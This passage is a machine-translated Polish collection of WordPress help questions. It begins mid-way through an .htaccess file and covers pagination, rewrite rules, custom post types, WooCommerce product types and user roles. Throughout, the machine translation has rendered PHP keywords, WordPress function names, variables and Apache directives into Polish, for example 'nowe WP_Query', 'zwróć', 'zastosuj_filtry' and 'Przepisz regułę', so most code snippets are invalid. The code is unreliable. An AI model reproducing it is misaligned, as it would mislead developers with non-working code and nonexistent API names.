„max-age=31536000, public, must-revalidate, proxy-revalidate” </IfModule> FileETag Brak <IfModule mod_headers.c> Zestaw nagłówków X-Powered-By „W3 Total Cache/ 0.9.2.4" </IfModule> </FilesMatch> # END Pamięć podręczna przeglądarki W3TC # BEGIN Wykluczenia s2Member GZIP <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /wordpress/ RewriteCond %{QUERY_STRING} (^|\?|&)s2=member_file_download .+ RewriteRule .* - [E=no-gzip:1] </IfModule> # KONIEC Wykluczenia GZIP s2Member # POCZĄTEK WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /wordpress/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /wordpress/index.php [L] </IfModule> # KONIEC WordPress # POCZĄTEK Porady dotyczące bezpieczeństwa z http://www.problogdesign.com/wordpress/11-best-ways-to-improve-wordpress-security/ # 8 – Żadne katalogi nie powinny być dostępne do przeglądania # Domyślnie w większości usług hostingowych indeks katalogów jest wyświetlany w przeglądarkach internetowych. Ma to jakiś cel, ale oznacza to również, że ujawniasz zawartość dowolnego katalogu, który nie ma index.html ani index.php. # Modyfikowanie tego zachowania jest łatwe w Apache, wystarczy dodać następujący wiersz kodu do pliku .htaccess w katalogu głównym (w tym samym miejscu co plik wp-config.php). Opcje Wszystkie -Indeksy # KONIEC Porady dotyczące bezpieczeństwa Edycja : Dezaktywowano wszystkie wtyczki, wykonano `sudo a2enmod rewrite` i `sudo /etc/init.d/apache2 restart`. Włączone permalinki, odświeżona strona. Plik .htaccess został utworzony automatycznie. Strona główna wyświetla się dobrze (jak zawsze), żadna z pozostałych stron/linków nie działa. Wypróbowałem to na moim lokalnym hoście. Moja witryna jest hostowana na www.mcruiseon.com # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /wordpress/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} ! -d Przepisz regułę . /wordpress/index.php [L] </IfModule> # KONIEC WordPress


title: Opcja motywu nie działa wewnątrz funkcji

text: Wcześniej zadałem to pytanie i otrzymałem kod, który _powinien_ działać. Niestety ten kod nie działa. > Tworzę panel opcji motywów i chcę, aby użytkownicy mogli > wybierać między linkami Następny/Poprzedni lub paginacją w moich archiwach i na stronie głównej. Kod w `functions.php` kontroluje rozwijany panel opcji, który pozwala użytkownikowi wybrać paginację lub następny/poprzedni odnośnik. **Ten kod wyświetla odnośniki Następny/Poprzedni przez cały czas, nawet jeśli wybiorę paginację. Potrzebuję też opcji stronicowania!** Co mam w `functions.php` array( "name" => "Stronicuj lub następne/poprzednie linki?", "desc" => "Wybierz opcję", "id " => $shortname."_next_prev_or_paginate", "type" => "select", "options" => array("Dalej", "Paginacja"), "std" => "Dalej"), Co mam w ` archives.php` <?php function my_theme_navigation() { global $shortname; if( get_option( $shortname . '_next_prev_or_paginate' ) == 'Dalej' ) : // blok dla nawigacji następna-poprzednia previous_posts_link ('Nowsze'); next_posts_link('Starsze'); else : // blok dla stronicowania global $wp_query; $duży = 999999999; // potrzebujesz nieprawdopodobnej liczby całkowitej echo paginate_links( array( 'base' => str_replace( $big, '%#%', get_pagenum_link( $big ) ), 'format' => '?paged=%#%', 'current ' => max( 1, get_query_var('paged') ), 'total' => $wp_query->max_num_pages ) ); endif; } ?> ## Dla wszystkich odpowiednich kodów... Oryginalny kod stronicowania (który został połączony z prev/next) <?php global $wp_query; $duży = 999999999; // potrzebujesz nieprawdopodobnej liczby całkowitej echo paginate_links( array( 'base' => str_replace( $big, '%#%', get_pagenum_link( $big ) ), 'format' => '?paged=%#%', 'current ' => max( 1, get_query_var('paged') ), 'total' => $wp_query->max_num_pages ) ); ?> Poprzedni/następny, który został połączony z paginacją <?php previous_posts_link ('Nowsze') ?> <?php next_posts_link('Starsze') ?> Funkcja dla opcji motywu, wybiera między paginacją a tablicą następnych/poprzednich linków ( "name" => "Stronicuj czy następne/poprzednie linki?", "desc" => "Wybierz opcję", "id" => $shortname."_next_prev_or_paginate", "type" => "select", "options " => array("Dalej", "Paginacja"), "std" => "Dalej"),


title: Jak utworzyć niestandardowe adresy URL dla podsekcji Custom Post Type?

text: Nie wiem, jak o to zapytać, ponieważ nie jestem do końca pewien, o co pytam. Chcę użyć niestandardowych adresów URL (może przy użyciu reguł przepisywania?), aby utworzyć „karty” dla niestandardowego typu posta. W przeszłości używałem takich rzeczy jak zmienna sesji GET, aby określić, na której karcie znajduje się użytkownik lub JavaScript. Naprawdę wolałbym zachować to na własnej logicznej stronie z adresem URL, aby to odzwierciedlić. Bardzo prosty wygląd zakładek to: `HOME | AKTUALIZACJE | WSPÓŁPRACOWNICY | ŚCIANA` Na przykład, jeśli jesteśmy na podstronie aktualizacji CPT of Charity: `http://siteroot/charity/updates`


title: Szybkie tagi qtranslate nie działają w polach niestandardowych

text: Czy ktoś zna qtranslate? Czy wiesz, jak włączyć szybką obsługę tagów pól niestandardowych? w tej chwili wypisuje tylko `<!--:ge-->სახელი<!--:--><!--:en-->name<!--:--><!--:ru -->imia<!--:-->` bez tłumaczenia czegokolwiek.


title: Podczas wstawiania obrazów do postów automatycznie dodaj opakowanie div

text: Kiedy dodaję obrazy do posta za pomocą edytora TinyMCE, chciałbym, aby WP dodał otaczający znacznik div wokół tagu `<img>`, taki jak `<div class="img-wrapper"><img src="url-to- obraz" alt="obraz" /></div>`. Czy to jakoś możliwe?


title: Pobierz kategorie i opisy z niestandardowego typu postu

text:
Próbuję wyciągnąć wszystkie kategorie skojarzone z niestandardowym typem wpisu w pętli, ale nie jestem pewien, jak to uzyskać, więc automatycznie pobiera wszystkie kategorie automatycznie ze skojarzonego typu wpisu? Mój powód jest taki, że jeśli użytkownik chce dodać/usunąć kategorię z niestandardowego typu postu, nie chcę edytować pliku szablonu, aby ręcznie dodać lub usunąć nazwę kategorii. Obecnie mam to: <?php $args = array( 'post_type' => 'rentals'); $pętla = nowe WP_Query( $args ); ?> <?php while ( $loop->have_posts() ) : $loop->the_post();?>

<?php the_title(); ?>

 <?php opis_kategorii(); ?> <a class="button" href="<?php the_field('rental_item_link') ?>"> Dowiedz się więcej →

 <?php endwhile; wp_reset_query(); ?> I wiem, że jeśli dodam `'category_name' => 'cat-slug1, cat-slug2, etc...'` wyciągnie te konkretne kategorie, ale staram się unikać robienia tego ręcznie na wypadek, gdyby ktoś chciał aby dodać lub usunąć określoną kategorię. Próbuję również uzyskać opis kategorii, ale nie jestem też pewien, czy robię to poprawnie. Mam nadzieję, że to ma sens.


title: Paginacja komentarzy i WP_QUERY

text:
Mam listę postów za pomocą wp_query Na każdym poście znajduje się lista komentarzy To, co próbuję zrobić, to ograniczyć liczbę komentarzy do 2 i wyświetlić link do następnej strony komentarzy, które zamierzam załadować za pomocą ajax ta funkcja wordpress next_comments_link(); nie wydaje się działać... Po prostu tworzy pusty div Czy to możliwe, ponieważ wyświetlam post za pomocą wp_query? na tej samej stronie jest wiele postów, więc nie jestem pewien, jak wordpress może linkować do następnej listy postów, pozostając na tej samej stronie. Gdybym nie był tak jasny, chętnie podam więcej szczegółów Oto mój pełny kod: $cf_args = array ( 'post_type' => 'cf', 'orderby' => 'data', 'posts_per_page' => $numPosts, 'paged' => $page, 'order' => 'DESC' ); $cf_query = nowe WP_Query( $cf_args ); if ( $cf_query->have_posts() ) { while ( $cf_query->have_posts() ) { $cf_query->the_post(); ?> <div class="status" id="<?php echo get_the_id(); ?>">
<?php the_content(); ?>

 <?php if ( is_user_logged_in() ) { $wishes_args = array( 'comment_field' => '
<textarea name="comment" id ="comment" placeholder="כתוב משהוא..." cols="56" rows="1" tabindex="4" class="required"></textarea>
', 'id_form' => ' cf-comment', 'id_submit' => 'cf-comment-submit', ); comment_form($wishes_args); } ?>
 <?php $comments = get_comments(array( 'post_id' => get_the_id(), 'status' => 'approve')); wp_list_comments(array( 'callback' => 'cf_wishes', 'per_page' => 2, 'reverse_top_level' => true ), $comments); ?>

 <?php next_comments_link( 'Nowsze komentarze »' ); ?>

 <?php } } wp_reset_postdata(); Dziękuję


title: Jak wyłączyć domyślne przekierowanie WordPress do adresów URL innych niż www?

text: Próbuję przekierować wszystkie adresy URL inne niż www na www w mojej instalacji WordPress MultiSite. Używam prostej reguły `.htaccess`, takiej jak ta: # Przekieruj bez www na www: RewriteCond %{HTTP_HOST} !^www\. [NC] RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L] Normalnie to zadziała, jednak WordPress wydaje się już mieć domyślne przekierowanie na adresy bez www. Oznacza to, że kiedy używam tej reguły `RewriteRule`, powoduje to nieskończoną pętlę przekierowań. **Jak to wyłączyć?** PS. Próbowałem `define('NOBLOGREDIRECT', 'http://www.domain.com');` w `wp-config.php` bez efektu.


title: add_rewrite_rule działa tylko z jednym "katalogiem"

text: To działa (Wordpress przekierowuje do kanonicznego adresu URL posta z podanym ślimakiem): add_rewrite_rule('mydir/([^/]+)/?$', 'index.php?pagename=$matches[1]', ' Top'); To nie działa (404) add_rewrite_rule('mójkatalog/mojsubkatalog/([^/]+)/?$', 'index.php?pagename=$matches[1]', 'top'); Czemu? :)


title: Ustaw wp_link_pages() odpowiedni dla znaczników Twitter Bootstrap

text:
Poniżej znajduje się kod Wordpress znaleziony w post-template.php dla funkcji wp_link_pages() - ta funkcja generuje nawigację po stronie dla postów lub stron z treścią podzieloną na wiele stron. function wp_link_pages($args = '') { $defaults = array( 'before' => '
' . __('Strony:'), 'after' => '
', 'link_before' = > '', 'link_after' => '', 'next_or_number' => 'number', 'nextpagelink' => __('Następna strona'), 'previouspagelink' => __('Poprzednia strona'), 'pagelink' => '%', 'echo' => 1 ); $r = wp_parse_args($args, $defaults); $r = zastosuj_filtry('wp_link_pages_args', $r); wyodrębnij ($r, EXTR_SKIP ); globalna $page, $numpages, $multipage, $more, $pagenow; $wyjście = ''; if ( $multipage ) { if ( 'number' == $next_or_number ) { $output .= $before; for ( $i = 1; $i < ($numpages+1); $i = $i + 1 ) { $j = str_replace('%',$i,$pagelink); $wyjście .= ' '; if ( ($i != $strona) || ((!$więcej) && ($page==1)) ) { $wyjście .= _wp_link_page($i); } $wyjście .= $link_przed . $j . $link_po; if ( ($i != $strona) || ((!$więcej) && ($page==1)) ) $output .= ''; } $wyjście .= $po; } else { if ( $więcej ) { $ wyjście .= $before; $i = $strona - 1; if ( $i && $więcej) { $wyjście .= _wp_link_page($i); $wyjście .= $link_przed. $poprzedni link do strony . $link_po . ''; } $i = $strona + 1; if ( $i <= $liczba stron && $więcej) { $wyjście .= _wp_link_page($i); $wyjście .= $link_przed. $następnylink do strony . $link_po . ''; } $wyjście .= $po; } } } if ( $echo ) echo $output; zwróć $wyjście; } Problem polega na tym, że wygenerowany znacznik, nawet poprzez argumenty, nie może być używany z klasami nawigacji Twitter Bootstrap Page, ponieważ znacznik powinien wyglądać mniej więcej tak:

Strony:

1

2

 następnie spróbowałem użyć następujących argumentów: „przed” => '

' . __( 'Strony:', 'mytextdomain' ) . '
', 'after' => '

', 'link_before' => '
', 'link_after' => '
', ale dane wyjściowe to:

Strony:

 1

2

 Jak widać Elementy `<li>` dla numerów stron są błędnie zagnieżdżane w elementach `<a>`. Patrząc na funkcję, widzę dlaczego. Jednak nie jestem pewien, jak mam postępować, aby naprawić znaczniki. Jak filtrowałbyś lub edytował tę funkcję, aby poprawić znaczniki? Czy powinienem przepisać zupełnie nowy?


title: Ustawienia galerii Zmień dostępne kolumny

text: Czy istnieje zaczep filtra, który zmienia liczbę dostępnych kolumn na ekranie ustawień galerii. Mówię o :  <?php _e('Kolumny'); ?> <select class="kolumny" name="kolumny" data-setting="kolumny"> <?php for ( $i = 1; $i <= 9; $i++ ) : ?> <opcja value="<?php echo esc_attr( $i ); ?>" <?php wybrane( $i, 3 ); ?>> <?php echo esc_html( $i ); ?> </option> <?php endfor; ?> </select>  w `wp-includes/media-template.php` linia `359-369` ( _Wordpress v3.5_ ) **Chciałbym w zasadzie zmienić `$i <= 9;` do `$i <= 5;` w warunku zakończenia pętli.** Sądzę, że jeśli to zrobię, zostanie to odrzucone przy następnej aktualizacji _Wordpress_. Dzięki za pomoc Eugene


title: Zresetuj role (lub cofnij zmiany ról po zmianie motywu)

text: Tworzę motyw, który usuwa niektóre role użytkownika, które nie są konieczne, a tworzy inne. (Usuwa autora i współautora oraz zmienia nazwę subskrybenta). Wszystko działa, ale po dezaktywacji motywu chcę przeczytać wszystkie role, które usunąłem. Czy muszę ręcznie wchodzić i tworzyć role (autor i współtwórca), ręcznie dodając wszystkie możliwości wymienione tutaj: http://codex.wordpress.org/Roles_and_Capabilities ? Są dwa powody, dla których nie chcę tego robić: 1. Więcej kodu. 2. Jeśli funkcje i role zostaną zaktualizowane, przy każdej aktualizacji Wordpress będę musiał ręcznie sprawdzać, czy przywracam odpowiednie możliwości. Musi istnieć lepsze rozwiązanie, aby cofnąć wszystkie zmiany ról, które wprowadziłem po dezaktywacji. Prawidłowy?


title: Użytkownik może zobaczyć tylko swój własny profil

text: Chciałbym, żebym był zalogowany jako administrator mógł przeglądać profile wszystkich użytkowników, jeśli są zalogowani jako subskrybent, na przykład "toni123456" Czy mogę zobaczyć tylko twój profil "toni123456". To jest domena szablonu/wordpress/ **autor** /nazwa_użytkownika


title: Czy argument WP_Query „prywatny” dotyczący statusu posta dotyczy tylko treści publikowanych prywatnie?

text: Jedyny fragment kodu, który mogę znaleźć, który dotyczy tego, znajduje się w wierszu 2430 w query.php w WP 3.4.1 foreach ( get_post_stati() as $status ) { if ( in_array ( $status, $q_status ) ) { if ( 'prywatny' == $status ) $p_status[] = "$wpdb->posts.post_status = '$status'"; else $r_status[] = "$wpdb->posts.post_status = '$status'"; } } Z tego, czego doświadczyłem, z jakimkolwiek innym parametrem `post_status` dodanym z dodanym parametrem '`private`', wyniki nie będą porównywane krzyżowo. Na przykład, dodane zarówno (publiczne) '`publish`' i '`private''', nadal zwróci zarówno posty opublikowane publicznie, jak i posty opublikowane prywatnie. Oto prosty fragment kodu, który to pokazuje. przykład funkcji($post_status = array('opublikuj'), $excludeCurrent = 0) { $post_type_names = get_post_types('', 'names'); $skip_post_types = array('załącznik', 'wersja', 'nav_menu_item'); foreach ($skip_post_types jako $wartość) { unset($post_type_names[$wartość]); } unset($wartość); unset($skip_post_types); $arg_query = array( 'post_type' => $post_type_names, 'post_status' => $post_status, 'post__not_in' => $excludeCurrent, 'nopaging' => TRUE, 'order' => 'date', 'orderby' => 'DESC', 'suppress_filters' => PRAWDA ); $example_query = nowe WP_Query($arg_query); zwróć $przykładowe_zapytanie; } $przykład01 = przykład(); //zwraca tylko posty opublikowane publicznie. $example02 = example(array('opublikuj', 'prywatny')); //zwraca posty opublikowane publicznie i prywatnie. $przyklad03 = przykład(tablica('przyszłość', 'prywatny')); //zwraca zarówno publicznie, jak i prywatnie przyszłe posty, a także posty opublikowane prywatnie. Trzeci przykład to mój największy problem. Po wykopaniu więcej, zanim to opublikowałem. Zauważyłem, że operator ''OR'' jest zawsze dodawany pomiędzy post_status dla zapytania MySQL. Zauważyłem też, że parametr **search** może oferować rozwiązanie. Czy jest jakiś dodatkowy filtr, którego może mi brakować? Ewentualnie jeden, aby zmienić operator MySQL ''LUB'' na ''ORAZ''?


title: jak edytować tytuły postów zbiorczych?

text: Opublikowałem setki postów, ale z nieodpowiednimi tytułami. Chcę edytować/aktualizować tytuły. Mam te wszystkie tytuły w pliku .txt, które chcę mieć na postach. Czy jest jakieś rozwiązanie?? Chcę najszybszy sposób. Ciężko mi też skopiować/wkleić każdy tytuł do posta. Chcę metodę jednym kliknięciem. Słyszałem na niektórych stronach, że można to zrobić, eksportując wszystkie posty do pliku .csv, który można następnie edytować w programie Excel, aby zmienić tytuły, a następnie zaimportować do witryny. ale znowu wydaje mi się, że problem nadal istnieje w programie Excel. Muszę edytować każdą kolumnę, co znowu jest bardzo żmudne. Chciałbym, żeby ktoś polecił mi wtyczki wordpress lub jakikolwiek bot Excela, który może wykonać moją pracę. Dziękuję.


title: Podświetl pozycję menu nadrzędnego, gdy dziecko nie jest w menu

text: Chcę podświetlić stronę nadrzędną strony podrzędnej w menu, gdy sama strona podrzędna nie znajduje się w menu. Wiem, że to zadziała, jeśli dodasz dziecko jako podstronę, ale tak nie jest. Jakieś pomysły?


title: Jak dodać nowy typ produktu do typów produktów woocommerce?

text: Chcę dodać nowy niestandardowy „typ produktu” do wtyczki woocommerce: ![tu wpisz opis obrazu](http://i.stack.imgur.com/t2aF6.png) Próbowałem zduplikować jeden z obecnie istniejących plików typu produktu ( struktura szablonu woocommerce) jako nowy plik (nazwa pliku i wewnątrz skomentowana nazwa), ale nie działa! ![tutaj wpisz opis obrazu](http://i.stack.imgur.com/wnPMl.png)


title: Localhost load-scripts.php Błąd 500 w panelu

text: Sklonowałem zdalną witrynę na moim lokalnym MAMP-ie. Naprawiłem prawie wszystkie problemy, takie jak problemy z uprawnieniami i problem z pamięcią podręczną timthumb używany przez mój motyw Woothemes Fresh News. Jedynym problemem jest to, że backend nie działa poprawnie. Nie mogę dodawać tagów ani wybierać istniejących. Nie mogę załadować wybranego przeze mnie obrazu i tak dalej. Gdy sprawdzam dziennik dostępu, widzę: [29/Jul/2012:14:59:42 +0700] "GET /wp-admin/load-scripts.php?c=1&load=admin-bar,hoverIntent,common,jquery -kolor,harmonogram,odpowiedźwp-ajax,automatyczne zapisywanie,listywp,szybkie tagi,jquery-query,komentarze-administratorów,sugerowane,jquery-ui-mysz,jquery-ui-sortable,postbox,post,przesyłanie multimediów,jquery -ui-datepicker,podgląd motywu,liczba słów,edytor,jquery-ui-resizable,jquery-ui-przeciągany,jquery-ui-button,jquery-ui-position,jquery-ui-dialog,wpdialogs,wplink,wpdialogs -popup,wp-fullscreen&ver=3.4.1 HTTP/1.1" 500 - ::1 - - W dzienniku błędów znalazłem [Sun Jul 29 15:14:47 2012] [błąd] [klient ::1] Błąd krytyczny PHP: Wywołanie niezdefiniowanej funkcji did_action() w /opt/local/www/elc/wp-includes/script-loader.php w wierszu 65, referer: http://elc.local/wp-admin/edit.php Próbowałem włączyć wyłączyć wszystkie wtyczki, zmieniając nazwę folderu wtyczek, ponieważ zwykła dezaktywacja również nie działała. Ale to nie zadziałało. Nadal problemy z jQuery / JavaScript. Szukałem rozwiązania. Brak szczęścia. Jakieś pomysły na powrót do lokalnej pracy na stronie?


title: Skróty mogą być używane tylko na stronach, a nie na postach

text:
Od tygodni próbuję to naprawić. Chcę wyświetlać określony rodzaj postów na wszystkich moich stronach u góry. Kod powinien znajdować się w pliku `header.php`. Wyświetli sponsorów, a post będzie zawierał tylko wyróżniony obraz. Aby to zrobić, próbowałem użyć postów na blogu i liście kategorii. Obie świetne wtyczki do wyświetlania określonej kategorii. Użyłem `do_shortcode` do wyświetlenia listy, ponieważ pierwotnie wpisy mogły być wyświetlane tylko przez `the_content();` strony używającej `[blog-in-blog id=7]` lub cokolwiek innego. Mój problem polega na tym, że będzie wyświetlał posty na WSZYSTKICH stronach mojej witryny, z wyjątkiem strony głównej. Naprawdę nie mogę tego zrozumieć. Wtyczka "Category List Posts" po prostu nie wyświetla niczego, ale wtyczka "Blog-in-Blog" wyświetla komunikat o błędzie: > BŁĄD: skróty Blog-in-Blog mogą być używane tylko na stronach, a nie w postach. Ale to nie jest post. To strona, prawda? To jest część mojego pliku `header.php` (jeśli to mogłoby pomóc): <body <?php body_class(); ?>>

Nasi sponsorzy korporacyjni/biznesowi
 <?php echo do_shortcode("[catlist content=tak title_class=header-title title_tag=h2 id=17 thumbnail=tak thumbnail_size=50,50 numberposts=20]"); ?>


title: Suwak prekompilacji Wordpress

text: Czy wordpress 3+ zapewnia domyślną funkcję suwaka obrazów? Czy to tylko szablon, który pobrałem? Jeśli przynosi suwak przed kompilacją, jak mam go dostosować, dodać do niego więcej funkcji? Chcę go zmodyfikować, aby umożliwić niektóre funkcje przesuwania treści (takie jak na: http://www.iwebix.de/front-slider-wordpress-plugin/), a nie tylko obrazy.


title: Plik index.php w folderze wp-content/themes/

text: Dziś wieczorem ręcznie przesyłałem motyw, nad którym pracuję, do mojej instalacji Wordpress, kiedy zauważyłem plik index.php w moim folderze motywów. Otworzyłem plik i zawierał on tylko trzy linijki kodu: <?php //cisza jest złota ?> Mnie to niepokoiło, na początku pomyślałem, że może przypadkowo wrzuciłem plik do katalogu tematów, ale zawartość pliku nie są niczym, co bym umieścił. Więc dochodzę do tego, czy w moim katalogu wp-content/themes/ powinien znajdować się plik index.php? A może ktoś go tam umieścił. LUB! Teraz, gdy o tym myślę, może plik został przypadkowo przesłany przeze mnie, a następnie "haker" lub ktoś, kto uzyskał dostęp do katalogu, zmienił zawartość tak, aby zawierał tylko ten jeden komentarz, mając nadzieję, że zepsuje to witrynę. Naprawdę nie jest to pytanie o kod, ale chciałem uzyskać informacje na temat tej sytuacji.


title: tworzenie wtyczki, która będzie wykorzystywała akcję zapisywania/aktualizowania postów

text: Jaka jest dobra wtyczka, która łączy się z wpisem aktualizacji lub zapisywaniem akcji, która pozwala administratorom egzekwować reguły, takie jak jeśli użytkownik wybierze kategorię o identyfikatorze 5, musi również wybrać co najmniej jedną kategorię z niestandardowej taksonomii XYZ itp - lub ta aktualizacja/zapis nie przejdzie. Chciałbym napisać własne zasady dotyczące tego, kto (jakie role) może robić co i tak dalej. Mój plan jest taki. Zdobądź dobrze napisaną wtyczkę i użyj jej jako płyty kotła do dostosowywania. Mogę więc po prostu wejść do kodu źródłowego wtyczki i wstrzyknąć wszelkiego rodzaju logikę biznesową, która jest specyficzna dla mojej strony internetowej. Wszelkie wskazówki prowadzące do tego celu są naprawdę doceniane.


title: zainstaluj wtyczkę tinymce

text: Jestem pewien, że to naprawdę proste, ale nie mogę znaleźć nigdzie szybkiej odpowiedzi, wyszukując. Chcę tylko włączyć „szablon” wtyczki TinyMCE dystrybuowany przez Moxiecode do mojego edytora Wordpress. Samo wrzucenie go do folderu wtyczek nie wystarczy, rozumiem, że muszę zadzierać z hookami i filtrami, ale na razie nie wiem, jaki jest najprostszy sposób na zrobienie tego.


title: Czy jest jakaś różnica między wpisem w okresie podrzędnym a terminem podrzędnym i rodzicielskim?

text: To może być naprawdę oczywiste, ale nie mogę znaleźć innej dokumentacji ani pytań na ten temat. ## Scenariusz Mam katalog firm (niestandardowe typy postów). Każda firma ma swój „Typ” (taksonomia niestandardowa). Rodzaje działalności są hierarchiczne, np. Jedzenie > Restauracja > Afrykańska, Zabawa > Parki, Usługi > Medycyna > Stomatologia itp. ## Inne uwagi: * Moje archiwa „Typ” powinny działać z podstawową implementacją i bez modyfikacji (np. Restauracja archiwum powinno pokazywać wszystkie posty z tego terminu lub dowolnego terminu podrzędnego). * Spodziewam się, że będę używał `get_terms()` w moich szablonach. * Spodziewam się, że będę potrzebować dodatkowych szablonów dostarczonych przez hierarchię szablonów kategorii, jeśli obsługuje ona niestandardowe taksonomie. * Czasami będę musiał użyć opisów terminów od rodzica. * Mogę zintegrować wtyczkę Taxonomy Images i być może potrzebuję obrazu nadrzędnego terminu. ## Pytanie Czy podczas wprowadzania każdej firmy należy wybrać wszystkie terminy nadrzędne i podrzędne, czy też powinienem wybrać tylko „najgłębszy” termin (tj. Czy powinienem przypisać go do „Jeść”, „Restauracje” i „Afrykańska” czy tylko „Afrykańska? ")? Czy „prawidłowa” odpowiedź w moim przypadku jest „poprawnym” sposobem użycia hierarchicznych taksonomii, czy też „prawidłowa” odpowiedź zależy od przypadku użycia?


title: fetch_feed pokazujący tylko pierwszy element

text: Próbuję zaimportować kanał z witryny WordPress do innej za pomocą `fetch_feed()`. Wszystko jest w porządku, z wyjątkiem tego, że mogę dostać tylko pierwszy element paszy. ## Oto kod, którego używam add_shortcode('custom_feed','feed2'); function feed2(){ $rss = fetch_feed( 'http://blog.sugarpulp.it/feed/' ); $rss_items = $rss->get_items( 0, 3 ); foreach ( $rss_items as $item) { $title = $item->get_title(); zwróć $tytuł; } } Nadzieja może mi pomóc. To doprowadza mnie do szału!


title: Błąd filtrowania atrybutów w woocommerce

text: Mam dwa atrybuty niestandardowe w woocommerce, Marka i Kolor, jeśli uzyskam dostęp do adresu URL atrybutu niestandardowego, takiego jak na przykład: www.myshop.com/branad/nike, a następnie spróbuję zastosować filtr nawigacji warstwowej, aby wyświetlić tylko czerwone elementy w ramach marki Nike ekran robi się pusty lub wyświetla komunikat o błędzie serwera (chrome) Jeśli spróbuję filtrować produkty podczas przeglądania adresu URL kategorii lub tagu produktu, filtry działają zgodnie z oczekiwaniami. Czy ktoś ma ten problem? Dzięki Daniel


title: Dodanie nowego typu produktu w Jigoshop

text: Dostosowuję produkty Jigoshop i muszę dodać nowy typ produktu do rozwijanej listy podczas tworzenia nowego produktu. Wybór nowego typu produktu z listy rozwijanej powinien dodać nową zakładkę do panelu szczegółów produktu tuż pod polem wyboru; podobnie jak w przypadku wybrania typu „Zmienna”, dodawana jest nowa zakładka o nazwie „Wariacje”. Aby to pytanie było proste i zrozumiałe, nowa karta nie powinna zawierać pól ani funkcji. Co powinienem zmodyfikować, proszę? Dziękuję


title: Dlaczego mogę pobrać dowolny plik z wyjątkiem plików PHP z adresu URL, ale mogę pobrać dowolny z innej witryny?

text: wszystko, zmagałem się z tym przez ostatnie dwa dni, po prostu nie mogę znaleźć odpowiedzi - przepraszam, jeśli opublikuję to w złej witrynie, ale to najlepsza opcja, jaką przyszło mi do głowy. Mam pewne problemy z witryną, które rozwiązywałem przez cały czas, dopóki nie doprowadziły mnie do tego konkretnego problemu. Jeśli chcę pobrać przeglądający plik PHP do jego katalogu nadrzędnego, nie jestem w stanie, coś o tym, że plik nie został znaleziony. Mogę jednak pobrać dowolny inny typ pliku z tej strony. http://nextgenerationattorney.org/wp-content/plugins/wp-import-txt/ W przeciwieństwie do tego mogę przejść do innej witryny, przejść do tego samego katalogu i bez problemu pobrać dowolny plik. http://nextgenlawyer.com/wp-content/plugins/wp-import-txt/ Myślałem, że może to być problem spowodowany ograniczeniami .htaccess, ale skopiowałem plik .htaccess z działającego adresu URL do niedziałającego i to nadal nie działa - nie muszę ponownie uruchamiać Apache, aby to zadziałało, prawda? Po prostu skończyły mi się pomysły, próbowałem skopiować cały katalog z działającej strony, uprawnienia są takie same na obu, nie wiem, czego jeszcze spróbować. Czy ktoś może podzielić się innym pomysłem? Jeśli potrzebujesz więcej informacji, daj mi znać. Dzięki chłopaki!


title: Chciałbym, aby add_post_meta zwracał identyfikator zamiast true lub false

text: Chciałbym wiedzieć, czy istnieje sposób na uzyskanie identyfikatora, gdy używamy funkcji `add_post_meta()`? Potrzebuję go, abym mógł go usunąć za pomocą wywołań ajax. Czy istnieje sposób, aby go pobrać, czy też będę musiał wykonać zapytanie do bazy danych, aby go znaleźć?


title: Jak uzyskać uprawnienia do folderów wtyczki?

text: Zbudowałem wtyczkę wordpress (wp-content/plugins/MyPlugin) i chciałbym sprawdzić uprawnienia niektórych folderów w katalogu MyPlugin. Mój problem polega na tym, że nie wiem, jakiej stałej Wordpressa lub jakiej funkcji PHP powinienem użyć do kierowania na te katalogi. if( !is_writable(WP_PLUGIN_URL.'MyFolder')) { echo 'NOK'.'<hr>'; } Ten fragment kodu zawsze zwraca 'NOK', podczas gdy jestem w 100% pewien, że 'MyFolder' jest faktycznie zapisywalny. Czy możesz dać mi tutaj jakąś radę, aby uzyskać odpowiedni plik w celu wybrania dowolnego folderu, który byłby w moim katalogu wtyczek? Dziękuję


title: Motyw automatycznie wstawia tag „więcej” w każdym poście

text: Używam darmowego motywu Lensa i wygląda na to, że wstawia znacznik „więcej” w każdym poście podczas przeglądania według kategorii, a punkt, w którym go wstawia, jest proporcjonalny do długości posta. http://daswanderlust.com/blog Ten cytat ma tylko około 10 słów, ale zostaje obcięty po około szóstym słowie. Przyznaję, że nie mam dużego doświadczenia z php, ale zakładam, że powinno to być dość łatwe rozwiązanie, ponieważ kod wydaje się robić to uniwersalnie w każdym rodzaju postu. Jakieś pomysły/wskazówki, które pliki należy przejrzeć jako pierwsze? Jakiej funkcji szukam?


title: Brakujące kategorie dla taksonomii niestandardowej i postów niestandardowych

text: Mam problem z określeniem, dlaczego kategorie nie są wyświetlane w Bazie wiedzy i artykułach. Co jest nie tak z tym kodem? <?php // Niestandardowe typy postów /* faq */ add_action( 'init', 'faq_post_type' ); if ( ! function_exists( 'faq_post_type' ) ) { function faq_post_type() { //Zarejestruj FAQ Typ posta register_post_type( 'faq', array( 'description' => __( 'Często zadawane pytania', 'guerilla' ), 'labels' => array( 'name' => __( 'FAQ', 'guerilla' ), 'singular_name' => __( 'FAQ', 'guerilla' ), 'add_new' => __('Dodaj nowy', 'guerilla '), 'add_new_item' => __('Dodaj nowe FAQ', 'guerilla'), 'edit_item' => __('Edytuj FAQ', 'guerilla'), 'new_item' => __('Nowe FAQ', 'guerilla'), 'view_item' => __('Wyświetl FAQ', 'guerilla'), 'search_items' => __('Wyszukaj FAQ', 'guerilla'), 'not_found' => __('Nie znaleziono FAQ ', 'guerilla'), 'not_found_in_trash' => __('Nie znaleziono FAQ w Koszu', 'guerilla') ), 'public' => true, 'menu_p osition' => 7, 'rewrite' => array('slug' => 'faq'), 'supports' => array( 'title', 'editor'), 'public' => true, 'show_ui' = > prawda, 'publicly_queryable' => prawda, 'exclude_from_search' => fałsz ) ); } } function faq_taxonomy() { $labels = array('name' => __( 'Kategorie', 'guerilla' ), 'singular_name' => __( 'Category', 'guerilla' ), 'search_items' => __ ( 'Kategorie wyszukiwania', 'guerilla' ), 'all_items' => __( 'Wszystkie kategorie', 'guerilla' ), 'parent_item' => __('Kategoria nadrzędna', 'guerilla'), 'parent_item_colon' => __( 'Kategoria 